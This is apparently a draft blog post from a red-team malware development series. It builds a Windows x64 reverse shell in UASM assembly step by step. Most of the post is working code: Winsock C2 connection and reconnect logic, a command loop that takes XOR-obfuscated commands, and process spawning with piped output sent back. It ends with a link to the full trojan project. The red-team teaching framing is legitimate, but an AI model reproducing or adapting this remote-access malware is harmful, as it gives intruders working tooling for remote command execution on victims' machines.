+++ title = 'Red Teamer's Guide to Malware Development 6: A Shellcode Project' date = 2024-06-19T12:13:12-05:00 draft = true +++

> This is a guide for malware development. Nowadays, there are lots of paid courses that cover these same concepts, but fortunately for everyone, these not necessary to get up to speed. Most of the techniques these courses cover are open source.

This post will cover a start-to-finish project devloping a Windows X86_64 shellcode payload. Concepts discussed will include:

- The purpose and definition of shellcode
- x86_64 Windows assembly basics
- Makefiles, assembling, and linking
- Socket communications from Python and Windows socket APIs
- Windows APIs for creating processes and reading their output
- Advanced features of thhe UASM assembler

What Is Shellcode?

Shellcode is a sequence of machine code instructions that is used in a variety of contexts to perform specific actions on a target system. The term "shellcode" originated from its early use in opening a command shell, but it has since evolved to encompass any kind of code that is directly injected and executed on a system, often as part of a wider set of activities in both offensive and defensive security operations.

We may often generate shellcode for various purposes in our attack chain. Our implant itself might be run in shellcode, or various attack tools used for specific purposes may be implemented in shellcode.

One important feature of (some) shellcode is *position independence*. Position independence means that the code is able to run without external support for address resolution, offsets, etc. In practice, this means the code is self sufficient, and though it will always leverage NT or Windows APIs, it takes care of finding them on its own.

Reverse Shells

As a simple case study, we can look at a *reverse shell*. A reverse shell is a program run on a target machine which will attempt to make a connection back to a listener (also known as the *handler* or *command and control* (C2) server) somewhere, either on the local network or the internet. The word "reverse" comes from the fact that the shellcode will callback to the listener, rather than open a port for the C2 machines to bind to.

The general principle is that if we gain the ability to execute code on a target machine, we likely want a convenient way to execute further commands. If we can run a command interpreter, we can then move on to do more interesting things on that target, or use it to interact with other machines that it may have access to.

Nowadays, thanks to the many features of most common scripting interpreters, it is easier than ever to get a reverse shell. See this reverse shell cheatsheet for dozen's of examples of launching reverse shells.

Reverse Shell vs Implant

Reverse shells are similar to but distinct from *implants* (also referred to as beacons or agents). These are typically more fully featured and offer functionality above just providng a command line interface. An implant

can be implemented in many languages, but much of the malware implants targeting Windows machines will be created using compiled languages like C/C++, Go, or Rust.

In general, a full blown implant will include several features not present in a reverse shell, including:

- Persistence: An implant may install itself to run across reboots
- Communications Encryption: A typical reverse shell will not leverage session encryption, leaving the contents of the session visible on the wire.
- Modularity: Implants may heave extended, modular features for achieving privilege escalation, lateral movement, keylogging, etc.

Developing a Custom Shellcode

Developing a reverse shell from scratch is a step towards developing a custom implant. A custom implant is something that every advanced red team can use in order to work around the existing defense mitigations for off-the-shelf implant frameworks. Additionally, developing a custom shellcode provides experience with many of the important fundamentals in malware development. This guide will cover writing a custom shellcode in assembly, but the same logic can be applied to most higher level languages.

For our shellcode to work, we need three main ingredients:

1. Ability to read and write data over the network
2. Ability to spawn processes
3. Ability to read output from created processes

We must be able to talk over the network to send commands to the shellcode and receive the result (1). The shellcode must be able to run our commands on the target system (2) and read the result of the command, so that we can send it back to the server (3).

Microsoft makes it straightforward to accomplish all of these using the Winsock and Windows APIs:

- Winsock has functions for creating network connections, and performing read/write operations on them
- The Windows API has functions for creating processes, shared memory (for process output), and reading shared memory

Winsock Example

A high-level example of sending a message to a server over Winsock would look like this (client in C++, server in Python):

```
#include <winsock2.h>
#include <ws2tcpip.h>  // Include for inet_pton
#include <iostream>

// Link with ws2_32.lib
#pragma comment(lib, "Ws2_32.lib")

int main() {
    WSADATA wsaData;
```

```
    SOCKET ConnectSocket = INVALID_SOCKET;
    sockaddr_in server;

    // Initialize Winsock
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // Create a socket
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // Define the server address and port
    server.sin_family = AF_INET;
    server.sin_port = htons(27015);

    // Convert IP address from text to binary form
    inet_pton(AF_INET, "127.0.0.1", &server.sin_addr);

    // Connect to the server
    connect(ConnectSocket, (sockaddr*)&server, sizeof(server));

    // Send data
    const char* sendbuf = "Hello Server";
    send(ConnectSocket, sendbuf, strlen(sendbuf), 0);

    // Receive data
    char recvbuf[512];
    int recvbuflen = 512;
    int iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
    if (iResult > 0) {
        recvbuf[iResult] = '\0'; // Null-terminate the received data
        std::cout << "Received: " << recvbuf << std::endl;
    }

    // Clean up
    closesocket(ConnectSocket);
    WSACleanup();

    return 0;
}
```

```
import socket

# Define the server address and port
HOST = '127.0.0.1'  # Localhost
PORT = 27015        # Port to listen on

# Create a socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to the address and port
server_socket.bind((HOST, PORT))
```

```
# Listen for incoming connections (max 1 in the queue)
server_socket.listen(1)
print(f"Server listening on {HOST}:{PORT}")

# Accept a connection
conn, addr = server_socket.accept()
print(f"Connected by {addr}")

# Receive data from the client
data = conn.recv(512)
if data:
    print("Received message:", data.decode('utf-8'))

    # Send a response back to the client (optional)
    response = "Message received"
    conn.sendall(response.encode('utf-8'))

# Close the connection
conn.close()

# Close the server socket
server_socket.close()
```

Execute the python script from a file, and then compile and run the C++ code in Visual Studio. The Python script should output the following:

```
Server listening on 127.0.0.1:27015
Connected by ('127.0.0.1', 49027)
Received message: Hello Server
```

This means that the sockets we created successfully connected and transmitted data. Note that this is a very distilled example with minimal error handling, safety, completeness, etc.

The C++ code reveals the chain of operations for connecting and sending a message to a server:

1. Call `WSAStartup`: Initialize the WinSock library
2. Create a `socket` object: Call the `socket` function to create a socket and return its handle
3. Connect to the server with `connect`: Call the connect function on the socket to connect to the machine specified using the `sockaddr_in` struct
4. Send data using `send`: Pass in the raw data of a message to send
5. Receive data from the server using `recv`: Get data sent from the server out of the socket

Shellcode Algorithm

For our shellcode, we will connect to the command server, receive (encrypted) commands, and return the result. For now, we will hard-code the command server IP as the localhost (127.0.0.1) and the port 1664. The algorithm will look like this:

1. Initialization:

- Initialize the Winsock library using WSAStartup.
- Create a TCP socket using socket.

2. Connection Setup:

   - Define the server address and port (127.0.0.1 and port 1664).
   - Connect to the command server using connect.

3. Command Loop:

   - Continuously receive and handle commands from the server.
   - The loop tries to reconnect if the connection is lost and attempts a maximum number of retries.

4. Command Processing:

   - The shellcode can handle three types of commands:
     - Execute a command (cmd_exec): Decrypt and execute the received command.
     - Wait (cmd_wait): Simply wait before the next iteration.
     - Exit (cmd_exit): Exit the loop and terminate the program.

5. Command Execution:

   - Decrypt the received command using XOR cipher.
   - Execute the decrypted command using the system_exec procedure.
   - Encrypt the command output
   - Send the encrypted execution output back to the server

6. Reconnection Logic:

   - If a connection or execution error occurs, the shellcode attempts to reconnect to the server after a brief sleep.

7. Cleanup:

   - Properly close the socket and clean up Winsock using WSACleanup before exiting.

Handler / Command Server Algorithm

1. Initialize Server:

   Create a socket object with AF_INET for IPv4 and SOCK_STREAM for TCP. Bind the socket to the specified IP address and port. Set the socket to listen for incoming connections with a backlog queue.

2. Accept Client Connections:

   Enter an infinite loop to accept client connections. For each connection, accept the client and get the client socket and address. Pass the client socket and address to the handle_client function for further processing.

3. Handle Client:

   Print the client’s address to indicate a successful connection. Enter a loop to handle commands and interactions with the client. Read user input to determine the command to send to the client: exec:

Encrypt the command with XOR and send it to the client. Receive and decrypt the response. wait: Send a wait command to the client. exit: Send an exit command and break the loop to close the connection. Invalid commands prompt the user to enter a valid command. After sending each command, wait briefly to avoid a tight loop.

4. Command and Data Handling:

   Define the ShellcodeMsg class to create and parse messages with a command, key, buffer length, and buffer. Define the xor_cipher function to encrypt or decrypt data using XOR with a given key.

5. Server Shutdown:

   Close the client socket when the loop ends or if an exception occurs. Continue to accept new connections even after handling a client.

UASM Basics

To begin writing the shellcode in assembly, we need a few basic prerequisites. First is an assembler. My assembler of choice for Windows x64 is UASM. It is a MASM-compatible assembler with advanced features. As you will see shortly, it supports high-level constructs, including if statements, procedure calls, loops, and named stack variables.

Next, we will need headers for the WinSock and Windows APIs we will import. I have already written these and included them in the project files, but you can find more complete versions in the UASM SDK.

Lastly, we will need libraries to link against for WinSock and Win32. I have also included these, but you may need different copies for your platform. You can find these in the Windows SDK provided by Microsoft.

Bootstrap Assembly File

The bare minimum file contents we need to assemble into a working EXE looks like this:

```
option win64:3      ; Initialize shadow space, reserve stack at PROC level (ignore
this for now)

.code               ; Define the following in the .text section of the final
OBJ/EXE file
    main proc       ; Define the beginning of the main procedure
        ret         ; Return from the main procedure
    main endp       ; Define the end of the main procedure

end                 ; End of program assembly file
```

Assemble it to an OBJ file and link the OBJ file to an EXE with:

```
uasm64 -q -win64 test.asm
link .\test.obj /entry:main
```

If we run `dumpbin` on the output EXE, we should see:

```
dumpbin .\test.exe
Microsoft (R) COFF/PE Dumper Version 14.16.27051.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file .\test.exe

File Type: EXECUTABLE IMAGE

  Summary

        1000 .pdata
        1000 .rdata
        1000 .text
```

This means we successfully assembled and linked a minimal ASM file, and can start getting more advanced.

Procedures and Function Calls in Assembly

When writing code, we typically like to break logical components into discrete functions. For example, in our shellcode, we want to seperate the function implementing the xor cipher so that we can call it easily in multiple places. Otherwise, we would have to insert the code to xor cipher a buffer in multiple places, making our code disgorganized and difficult to read. In C, we would have something like this:

```
void xor_cipher(void* buffer, unsigned char key, unsigned int size) {
    // Cipher code here...
}
```

In ASM, we can do something very similar:

```
xor_cipher proc
    ; Cipher code here...
xor_cipher endp
```

Now, when we want to call this function, we can use the `call` instruction with the function name label:

```
main proc
    ; Other code...
    call xor_cipher
main endp
```

Notice that the program entry point `main` is also a procedure. When we linked the executable together earlier, we had to tell the linker that the entry point was this `main` function using the arguments `/entry:main`.

Another option we have in assembly is an absolute jump with a bare label. A label is a name for a location in the assemmbly code. The assembler will translate this human-readable name into a relative offset when the program is assembled for any instance where the label is used. So instead of using `call`, we could:

```
main proc
    ; Other code...
    jmp xor_cipher
    ; Other code...
main endp

xor_cipher:
    xor eax, eax
    ; Rest of cipher code here...
```

We could even put `xor_cipher` inside of main:

```
main proc
    ; Other code...
    jmp xor_cipher
    ; Other code...

    xor_cipher:
        xor eax, eax
        ; Rest of cipher code here...
main endp
```

When the `jmp` instruction is enocuntered, the program will unconditionally modify RIP to the target. The problem with this is that there is no built in way to return to the position where the `jmp` instruction was triggered. This means that we must explicitly tell the program where to go after xor_cipher finishes executing:

```
main proc
    jmp xor_cipher
_after_xor_cipher_jmp
    cmp eax, 0
    ; ...

    xor_cipher:
        xor eax, eax
        ; Rest of cipher code here...
        jmp _after_xor_cipher_jmp
main endp
```

But now, xor_cipher will only ever return to one location: `_after_xor_cipher_jmp`. If we need to use the xor cipher somewhere else, we have an issue. This is why the `call` instruction exists. `call` neatly combines a few operations to make it easy for us to get back to the location after the site of the function call. So instead `jmp`ing back inside of `xor_cipher`, we can use the `ret` instruction.

The call instruction will thus do two main things:

1. Push the return address (the address of the code *after* the current call instruction) to the stack
2. Transfer control to the location specified by the operand to the `call` instruction

Inside of the code that `call` triggers, if we then have a `ret` instruction that does the inverse:

1. Pop the return address from the stack
2. Transfer control to the address popped from the stack

In this way, each time the `call` to a function is executed, the stack will be used to tell where the function that is called should resume executing once complete. We can put a `ret` inside of a `proc` defined function, or inside of a bare label:

```
main proc
    ; Other code...
    jmp xor_cipher
    ; Other code...
main endp

; The below is valid
xor_cipher:
    xor eax, eax
    ; Rest of cipher code here...
    ret

; This is also valid (but choose only one)
xor_cipher proc
    xor eax, eax
    ; Rest of cipher code here...
    ret
xor_cipher endp
```

Prototyping Functions and Using Local Variable Labelsin UASM/MASM

If you recall the C function prototype for the xor_cipher function, we were able to specify arguments:

```
void xor_cipher(void* buffer, unsigned char key, unsigned int size) {
    // Cipher code here...
}
```

But in our previous assembly, I left out these arguments for simplicities sake. In reality, the call to `xor_cipher` would need to be setup like this:

```
main proc
    lea rcx, qword ptr [rbp+566]    ; Base pointer + 566 being the address of the
buffer to decrypt
    mov dl, byte ptr [rbp+561]      ; Base pointer + 561 being the cipher key
    mov r8d, dword ptr [rbp+562]    ; base pointer + 562 being the size of the
buffer to decrypt
    call xor_cipher
main endp
```

This is because the `xor_cipher` function expects its arguments to be placed in those registers. These registers are used in this case because we are on Windows X64, where the *fastcall calling convention* is used. Other operating systems and architectures will use different calling conventions, meaning that the way function calls are prepared and where functions expect their arguments to be populated will be different.

You can see how it could get tricky to call functions. We not only have set up the arguments in the exact right way, but also have to keep track of the memory addresses of the local variables we pass into the functions.

Fortunately, UASM provides features to simplify all of this massively. First, we can replace the complicated `lea, mov, mov, call` sequence with only one line using the `invoke` macro:

```
xor_cipher  proto   fastcall :qword, :byte, :dword

main proc
    local buffer[256]:byte
    local key:byte
    local buffer_size:dword

    mov key, 0xff
    mov buffer_size, 256
    ;...
    invoke xor_cipher, addr buffer, key, buffer_size
    ;...
main endp

xor_cipher proc fastcall xor_buffer_addr:qword, xor_cipher_key:byte,
xor_buffer_size:dword
        xor eax, eax
    _loop:
        cmp eax, r8d
        je _done
        mov r9b, byte ptr [rcx + rax]
        xor r9b, dl
        mov byte ptr [rcx + rax], r9b
        inc eax
        jmp _loop
    _done:
        ret
xor_cipher endp
```

Note that the parameter/argument names must be unique labels across the whole program. When we define a procedure with `proc`, we have the option of specifying both the calling convention and named arguments for the procedure. These features aren't perfect, but the can be very handy. When we put `fastcall` in the `proc` definition, the assembler will know to use `rcx`, `rdx`, and `r8` as the registers for the arguments to `xor_cipher` anywhere an `invoke` is used.

Using these two features (local variable labels and function prototypes), we sliced through a massive amount of overhead in keeping track of registers and memory locations. This is why I use UASM. These features *were* in Microsofts MASM assembler, but were not fully maintained when the 64-bit version was released.

Defines and Data Structures

Earlier, we defined the implant as being able to handle three different types of tasks: `exec`, `wait`, and `exit`. One way to achieve this is to have the server send a code for each task type. The shellcode will use this to make a decision about what to do next. We can use the `equ` directive to map a human-readable name to a numeric command code:

```
cmd_exec equ 001b
cmd_exit equ 010b
cmd_wait equ 100b
```

We now need to be able to receive and interpret messages from the command server for each type.

For `exit` and `wait` commands, there is no additional data that needs to be processed by the shellcode. But for `exec`, we need to know *what* the shellcode is supposed to exec, and since we are obfuscating the command, we also need a cipher key. Finally, knowing how big the command to execute is would also be helpful. We can put all of this into one package using the `struct` directive:

```
shellcode_msg struct
    command         byte ?
    key             byte ?
    buffer_length   dword ?
    buffer          byte buffer_size dup(?)
shellcode_msg ends
```

When the shellcode receives data from the server with `recv`, it will be written into the buffer we pass to `recv`. Unless something unexpected happens, we can make sure we always send data to the shellcode in this defined `shellcode_msg` format. Now when we receive an `exec` command from the server, we can very simply manipulate and use these structures fields by interpreting the buffer we received as a `shellcode_msg`.

```
main proc
    local command_message:shellcode_msg
    local dw_socket:dword

    ; Omitted: Connect to command server
    invoke recv, dw_socket, addr command_message, sizeof command_message, 0
```

```
    iinvoke xor_cipher, addr command_message.shellcode_msg.buffer,
command_message.shellcode_msg.key, command_message.shellcode_msg.buffer_length

    ;...
main endp
```

Using the `struct`, we now have a convenient way to access the different offsets of a memory location based on a simple label. The assembler will automatically generate the offset calculations for us.

Writing the Shellcode

Now that some basics of working with code in UASM have been covered, we can get to actually implementing the algorithm. At a high level, we need to:

1. Initialize WinSock
2. Create a socket object
3. Initialize the socket connection address
4. Connect the socket to the C2 server
5. Loop and receive the commands from the server
6. If:
    - Command is wait: Sleep and reloop
    - Command is exit: Exit the process
    - Command is exec:
        - Decrypt the command string
        - Execute command
        - Read the output of the command
        - Encode the output of the command
        - Send the encoded output to the C2 server

Init WinSock, Create Socket & Address, Connect

```
        ; Initialize Winsock
        invoke WSAStartup, 516, addr wsa_data
        test eax, eax
        jnz _exit

        ; Create a socket
    _create_socket:
        invoke socket, af_inet, sock_stream, ipproto_tcp
        cmp eax, socket_error
        je _exit
        mov dw_socket, eax

        ; Setup connection information
        invoke RtlZeroMemory, addr sock_addr, sizeof sockaddr_in
        invoke inet_addr, addr g_command_ip
        mov sock_addr.sin_addr, eax
        mov sock_addr.sin_family, af_inet
        invoke htons, g_command_port
```

```
        mov sock_addr.sin_port, ax

        ; Connect to command server
    _connect:
        invoke connect, dw_socket, addr sock_addr, sizeof sock_addr
        cmp eax, socket_error
        je _reconnect
```

In this code, we perform the setup tasks of initializing the WinSock library, creating a socket object, setting up the address information of the target server, and initiating the connection. If all goes well, `connect` will not return an error if the connection succeeded.

Command Loop

Now that we have a connection to the listener, we need to enter a loop. Recall we are defining three command options for this shellcode:

1. Exec
2. Wait
3. Exit

This means that inside the loop, we need to:

- Receive data from the server
- Check the command type
- Branch to handle each command type

The major branches will look like this

- In the case of `wait` we will just call the WinAPI `Sleep` function and return to the head of the loop.
- In the case of `exit`, we will shutdown the socket and WinSock library, and return.
- In case of `exec`, decode the command buffer appended to the message received from the server, execute it, encode the result, and send it back

Thanks to UASMs loop macros, we can achieve all of this very easily:

```
        mov retries, 0
        .while retries < max_retries -1
            invoke RtlZeroMemory, addr command_message, sizeof command_message

            ; Receive instructions from the command server
            invoke recv, dw_socket, addr command_message, sizeof command_message,
0
            .if eax == socket_error || eax == 0
                mov eax, retries
                inc eax
                mov retries, eax
                jmp _wait
            .endif
```

```
            ; Check what command was sent
            lea rax, command_message
            cmp [rax].shellcode_msg.command, cmd_wait
            je _wait
            cmp [rax].shellcode_msg.command, cmd_exit
            je _exit
            cmp [rax].shellcode_msg.command, cmd_exec
            je _exec
            .continue
        _exec:
            ; Decode the command buffer
            invoke xor_cipher, addr command_message.shellcode_msg.buffer,
command_message.shellcode_msg.key, command_message.shellcode_msg.buffer_length

            ; Execute the command
            invoke system_exec, addr command_message.shellcode_msg.buffer, addr
output_buffer
            .if eax == status_failure
                mov eax, retries
                inc eax
                mov retries, eax
                jmp _wait
            .endif

            ; Encrypt the response
            mov bytes_read, eax
            invoke xor_cipher, addr output_buffer,
command_message.shellcode_msg.key, bytes_read

            ; Post the result back to the server
            invoke send, dw_socket, addr output_buffer, bytes_read, 0
        _wait:
            invoke Sleep, sleep_time
            .continue
        .endw

    _exit:
        invoke shutdown, dw_socket, sd_both
        invoke closesocket, dw_socket
        invoke WSACleanup
        ret
```

Achieving all of that in only 51 lines of assembly is pretty remarkable! We do not have to think much about the loop conditions, as the assembler handles that for us, along with local variable names, structure field access, function calls, and the `sizeof` macro.

XOR Cipher

The cipher component is extremely simple. In this scenario, we are using a XOR cipher to obfuscate the contents of the command received from the server, as well as the response from the client system. This setup

uses a single byte XOR cipher as well, making things even simpler. We can implement the cipher with the following assembly:

```
    xor_cipher proc fastcall xor_buffer_addr:qword, xor_cipher_key:byte,
xor_buffer_size:dword
        xor eax, eax
    _loop:
        cmp eax, r8d
        je _done
        xor byte ptr [rcx + rax], dl
        inc eax
        jmp _loop
    _done:
        ret
    xor_cipher endp
```

First, we clear `eax`, as we will be using it as a loop counter, comparing against `r8d` or `xor_buffer_size`. When `eax` grows to the value of `r8d`, we will exit the function. The `cmp` instruction will check these values against each other and set a flag in the `rflags` register. the `je` instruction will examine those flags, and if the `cmp` instruction set the Zero Flag, the `je` will perform the jump to the `_done` label.

Next, we will xor the byte at the current index of the source buffer against the key, increment the counter at `eax`, and jump to the `_loop` head. Once the loop is complete, we will `ret`.

Spawning Processes

The next section of code is a bit more complicated. This is the function that will spawn the command designated from the server and return the response. There are really two major components to this:

- `CreateProcessA`: Spawn the process
- `ReadFile`: Read the output of the process

To actually capture the process output into our parent process memory, however, we need an IPC (inter-process communication) mechanism. The IPC mechanism of choice in this context is a Pipe.

Pipes are regions of shared memory that can be read/written two by more than one process. How we will use one here is by passing a pipe to the created process, specifying in its startup attributes that we want it to redirect its output to the pipe instead of to the console (default). For this, we will use three functions:

- `CreatePipe`
- `SetHandleInformation`
- `GetStdHandle`

Once we have setup the startup information of the process with the appropriate pipe information, we can read the output after the process has spawned.

```
    system_exec proc fastcall, system_exec_buffer:qword, out_buffer:qword
        local pipe_buffer[buffer_size]:byte
        local s_info:startupinfoa
```

```
        local p_info:process_information
        local sa:security_attributes
        local h_stdout_write:qword
        local h_stdout_read:qword
        local bytes_read:dword
        local status:dword

        invoke RtlZeroMemory, addr s_info, sizeof startupinfoa
        invoke RtlZeroMemory, addr p_info, sizeof process_information
        invoke RtlZeroMemory, addr sa, 0x18
        invoke RtlZeroMemory, addr pipe_buffer, buffer_size

        ; Setup security attributes struct
        mov sa.nLength, 0x18
        mov sa.lpSecurityDescriptor, 0
        mov sa.bInheritHandle, 1

        ; Create a pipe for the child process's STDOUT
        invoke CreatePipe, addr h_stdout_read, addr h_stdout_write, addr sa, 0
        test eax, eax
        jz _error

        ; Ensure the read handle is not inherited
        invoke SetHandleInformation, h_stdout_read, handle_flag_inherit, 0
        test eax, eax
        jz _error

        ; Setup the startup information strucet
        mov rax, h_stdout_write
        mov s_info.cbSize, sizeof startupinfoa
        mov s_info.hStdError, rax
        mov s_info.hStdOutput, rax
        invoke GetStdHandle, std_input_handle
        mov s_info.hStdInput, rax
        mov s_info.dwFlags, startf_usestdhandles

        ; Ensure the buffer is null-terminated
        mov rcx, system_exec_buffer
        add rcx, buffer_size -1
        mov byte ptr [rcx], 0

        ; Spawn the child process
        invoke CreateProcessA, 0, system_exec_buffer, 0, 0, 1, 0, 0, 0, addr
s_info, addr p_info
        .if eax == 0
            jmp _error
        .endif

        ; Close the write end of the pipe before reading from the read end
        invoke CloseHandle, h_stdout_write
        .if eax == 0
            jmp _error
        .endif
```

```
        ; Read the process output
        ; Note: This only handles the first 1024 bytes
        invoke ReadFile, h_stdout_read, addr pipe_buffer, buffer_size - 1, addr
bytes_read, 0
        .if eax == 0
            invoke GetLastError
            cmp eax, error_handle_eof
            je _done_reading
            jmp _error
        _done_reading:
            jmp _success
        .endif

        mov eax, bytes_read
        mov dword ptr [status], eax
        invoke RtlCopyMemory, out_buffer, addr pipe_buffer, bytes_read

        ; Wait for the child process to exit
        invoke WaitForSingleObject, p_info.hProcess, infinite

        _success:
            mov eax, bytes_read
            mov dword ptr [status], eax
            jmp _exit
        _error:
            mov dword ptr [status], status_failure
        _exit:
            .if p_info.hProcess != -1 && p_info.hProcess != 0
                invoke CloseHandle, p_info.hProcess
            .endif
            .if p_info.hThread != -1 && p_info.hThread != 0
                invoke CloseHandle, p_info.hThread
            .endif
            .if h_stdout_read != -1 && h_stdout_read != 0
                invoke CloseHandle, h_stdout_read
            .endif

            mov eax, dword ptr [status]
            ret
    system_exec endp
```

With all these pieces in place, we have almost everything we need to finish the shellcode. The full project code can be found at https://github.com/joshfinley/Trojan.Win64.Callisto.